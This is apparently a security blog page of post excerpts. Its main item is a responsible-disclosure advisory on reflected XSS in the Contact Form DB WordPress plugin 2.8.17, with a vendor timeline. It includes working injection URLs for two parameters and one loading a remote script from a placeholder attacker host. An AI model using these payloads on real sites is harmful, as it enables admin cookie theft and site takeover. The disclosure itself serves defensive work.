Comparison of Java Code Quality Tools

With a growing code base, it is good to have tools which can automatically find weaknesses in it, be it duplicate code, bad patterns, possible bugs, bad formatting, or bad design. Here are some of the tools that can analyze Java Code.

Continue

Reflected XSS in WordPress Contact Form DB Plugin

  • Vulnerability: Reflected XSS
  • Affected Software: Contact Form DB (WordPress Plugin)
  • Affected Version: 2.8.17 (probably also prior versions)
  • Patched Version: 2.8.18
  • Risk: Medium
  • Vendor Contacted: 2014-11-17
  • Vendor Fix: 2014-11-19
  • Public Disclosure: 2014-11-26

Description

There are two XSS vulnerabilities in the Contact Form DB WordPress Plugin admin area. If an attacker can get an administrator to click on a specific link, this can lead to the execution of arbitrary JavaScript, which in turn can for example lead to the stealing of cookies.

Simple POC

As single quotes are automatically escaped in WordPress, they cannot be used in the attack. It is still possible to inject a simple alert:

via submit_time:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script>alert(String.fromCharCode(88,83,83))</script><input name="1416134948.8682

via form_name:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1"><script>alert(String.fromCharCode(88,83,83));</script>

Exploiting the vulnerability

To get around the limitation of not using single quotes, an attacker can load a remotely hosted script:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script src=http://evil.attacker/myscript.js></script>

Continue

Server Change

I apologize for the downtime. There where misunderstandings with our previous hoster but now we have a new one and everything is up and running again.